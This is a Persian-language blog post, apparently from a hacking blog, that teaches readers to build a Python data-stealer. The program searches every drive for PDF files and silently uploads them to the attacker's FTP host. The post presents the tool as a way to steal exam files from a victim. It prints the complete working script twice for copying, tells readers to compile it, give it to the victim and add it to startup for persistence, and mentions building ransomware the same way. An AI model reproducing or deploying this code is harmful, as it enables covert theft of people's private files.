با سلام خدمت تک تک دوستان قدیمی و جدید وبلاگ ViRus32
توی این پست قراره به شیوه ای نوین ، اطلاعات مشخصی از سیستم یه کاربر رو بدزدیم و داخل سیستم یا هاستمون مشاهده کنیم :)
اینکار بیشتر بدرد بچه هایی که امتحان دارن میخوره
چون میتونن فایلای مشخصی مثل pdf یا فایلای این چنینی رو برای خودشون آپلود کنن که حجمشون کمه
اگه بخوایم اطلاعات رو سیستم برنامه نویس قرار بگیره باید از طریق برنامه نویسی سوکت اینکار رو انجامش بدیم
که مشکلاتی هم داره
مثلا نیاز به یه آی پی ثابت داره ، نیاز به یه سیستم روشن داره ، چون وقت و بی وقت قراره اطلاعات برای ما ارسال بشه
در نتیجه از نظر عقلانی بهترین کار ممکن این هستش که ما اطلاعات رو از طریق کتابخونه ی ftplib بیایم و داخل هاستمون ذخیره کنیم
در نتیجه قبل از هر کاری یه هاست وابسته به حجمی که مد نظرتونه تهیه کنین
بعد از تهیه کردن هاست ، یه اکانت Ftp برای خودتون درست کنین
که آموزش ساختشم ماشالا هزار ماشالا تو گوگل پر هستش...
البته نمیدونم اینکار نیاز به دامنه داره یا نه ، چون من نیازی نمیبینم که دامنه باشه....
بخاطر همین پیشنهاد میکنم اول یه تست کنین ببینین اگه با هاست خالی میشه با همون هاست خالی انجام بدین
و اگر هم نشد ، بهتره یه دامنه ir هم تهیه کنین که تقریبا هزینش با هاست و اینجور چیزا کلا 10 هزار تومن بیشتر در نمیاد :)
چون من خودم از پارسال یه دامنه و هاست داشتم که هاستم وقتش تموم شده بود ، تنها کاری که کردم این بود که یه هاست فعال کردم تا کارم راه بیفته
به هر حال یه اکانت ftp برای خودتون جور کنین و بیاین به جای حرف زدن بریم سر اصل مطلب
همونطور که گفتم اگه بخوایم تمامی اطلاعات رو سرقت کنیم
اینترنت زیادی میبره و علاوه بر اون ، موضوع مهمی که مطرحه اینه که اگه فایلای طرف یه گیگ بود و سرعت آپلودش مثل سرعت Dial-Up بود چطور ؟ :(
در نتیجه بهترین کار ممکن این هستش که ما مشخص کنیم چه فایلایی برامون ارسال بشه
مثلا من تو سیستم هدفم فقط فایلای pdf رو میخواستم
خب دیگه صحبت بسه ... :)
اول از همه کتابخونه هایی پایین رو اضافه کنین به اول اسکریپتتون
import os
import ftplib
import random
حالا پسوند مد نظرمون رو برای ارسال مشخص میکنیم
def discoverFiles(startpath):
extensions = [
'pdf'
]
for dirpath, dirs, files in os.walk(startpath):
for i in files:
absolute_path = os.path.abspath(os.path.join(dirpath, i))
ext = absolute_path.split('.')[-1]
if ext in extensions:
yield absolute_path
که تو کدهای بالا پسوند مد نظر من همونطور که گفته بودم pdf ها هستن....
حالا باید بیایم و بگیم که با استفاده از این تابع کل درایو هایی که احتمال میدیم رو سیستم قربانی نصب باشه ، اسم فایلها داخل یه متغیر ریخته بشه
اما از اونجایی که اینکار یه خرده اشتباهه ، در نتیجه ما میام و کل درایوهارو لیست میکنیم ( از A تا Z )
که اگه یه موقع کاربر اسم درایواش فرق میکرد یا موارد دیگه....
به مشکلی بر نخوریم
a_files = discoverFiles("A:\\")
b_files = discoverFiles("B:\\")
c_files = discoverFiles("C:\\")
d_files = discoverFiles("D:\\")
e_files = discoverFiles("E:\\")
f_files = discoverFiles("F:\\")
g_files = discoverFiles("G:\\")
h_files = discoverFiles("H:\\")
i_files = discoverFiles("I:\\")
j_files = discoverFiles("J:\\")
k_files = discoverFiles("K:\\")
l_files = discoverFiles("L:\\")
m_files = discoverFiles("M:\\")
n_files = discoverFiles("N:\\")
o_files = discoverFiles("O:\\")
p_files = discoverFiles("P:\\")
q_files = discoverFiles("Q:\\")
r_files = discoverFiles("R:\\")
s_files = discoverFiles("S:\\")
t_files = discoverFiles("T:\\")
u_files = discoverFiles("U:\\")
v_files = discoverFiles("V:\\")
w_files = discoverFiles("W:\\")
x_files = discoverFiles("X:\\")
y_files = discoverFiles("Y:\\")
z_files = discoverFiles("Z:\\")
کد بعدی ما این هستش که باید اطلاعات لاگینمون داخل یه متغیر قرار بگیره که بعدش بتونیم از اون توابع کتابخونه استفاده کنیم
ftp = ftplib.FTP('IP','Username','Password')
حالا باید از درایو A تا درایو Z شروع کنیم به ارسال فایلها ، اما از اونجایی که ممکنه فایل های هم نام داخل یه سیستم پیدا بشه و پروسه ی ما به مشکل بخوره ، در نتیجه بهتره برای هر فایلی که قراره تو اکانتمون آپلود بشه یه آی دی هم در نظر بگیریم
با کدهای پایین میتونیم هم دستور ارسال اطلاعات رو بدیم و هم دستور ایجاد آی دی روی اون فایل بعد از آپلود شدن داخل هاست ....
for i in a_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in b_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in d_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in e_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in f_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in g_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in h_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in i_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in j_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in k_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in l_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in m_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in n_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in o_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in p_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in q_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in r_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in s_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in t_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in u_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in v_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in w_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in x_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in y_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in z_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
حالا وقت بستن اکانتی که باز کردیم هستش
ftp.quit()
اگه کمی به کدها دقت کنین متوجه میشین که من کدهایی که تو پست های آموزشی قبل استفاده کرده بودم رو توی یه پست استفاده کردم و با استفاده از اون یه همچین ابزاری ساختم
در نتیجه به پست هایی که میزارم حتما اهمیت بدین و سعی کنین یه خرده روی اونها فکر کنین
چون همین الانشم میتونیم کلی ابزار با همچین کدهایی بسازیم ، مثل باج افزار ، ویروس تغییر نام ، و کلی چیز دیگه...
که اینکار چون غیرقانونیه بخاطر همین من از همچین کاری صرف نظر میکنم.... و بقیه راه رو به خودتون میسپارم....
حالا هم کدهایی که بالا استفاده کردم رو یکجا قرار میدم تا تو کپی کردن راحت تر باشین :)
import os
import ftplib
import random
def discoverFiles(startpath):
extensions = [
'pdf'
]
for dirpath, dirs, files in os.walk(startpath):
for i in files:
absolute_path = os.path.abspath(os.path.join(dirpath, i))
ext = absolute_path.split('.')[-1]
if ext in extensions:
yield absolute_path
a_files = discoverFiles("A:\\")
b_files = discoverFiles("B:\\")
c_files = discoverFiles("C:\\")
d_files = discoverFiles("D:\\")
e_files = discoverFiles("E:\\")
f_files = discoverFiles("F:\\")
g_files = discoverFiles("G:\\")
h_files = discoverFiles("H:\\")
i_files = discoverFiles("I:\\")
j_files = discoverFiles("J:\\")
k_files = discoverFiles("K:\\")
l_files = discoverFiles("L:\\")
m_files = discoverFiles("M:\\")
n_files = discoverFiles("N:\\")
o_files = discoverFiles("O:\\")
p_files = discoverFiles("P:\\")
q_files = discoverFiles("Q:\\")
r_files = discoverFiles("R:\\")
s_files = discoverFiles("S:\\")
t_files = discoverFiles("T:\\")
u_files = discoverFiles("U:\\")
v_files = discoverFiles("V:\\")
w_files = discoverFiles("W:\\")
x_files = discoverFiles("X:\\")
y_files = discoverFiles("Y:\\")
z_files = discoverFiles("Z:\\")
ftp = ftplib.FTP('IP-HOST','Username','Password')
for i in a_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in b_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in d_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in e_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in f_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in g_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in h_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in i_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in j_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in k_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in l_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in m_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in n_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in o_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in p_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in q_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in r_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in s_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in t_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in u_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in v_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in w_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in x_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in y_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
for i in z_files:
try:
Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Str_3 = '1234567890'
rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
rnd = '[' + rnd + ']'
fp = open(i, 'rb')
ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
fp.close()
except:
pass
ftp.quit()
حالا کافیه کدهای بالا رو کامپایل کنین و به کاربر بدین که آموش اینکار رو هم تو این پست گفته بودم....
همچنین بهتره ویژگی استارت آپ رو هم بهش اضافه کنین که اگه سیستم قربانی ری استارت شد ، برنامه شروع کنه به آپلود مجدد....
که آموزش کپی کردن برنامه تو استارت آپ رو هم اینجا گفته بودم
دیگه چیزی به ذهنم نمیرسه :)
موفق باشید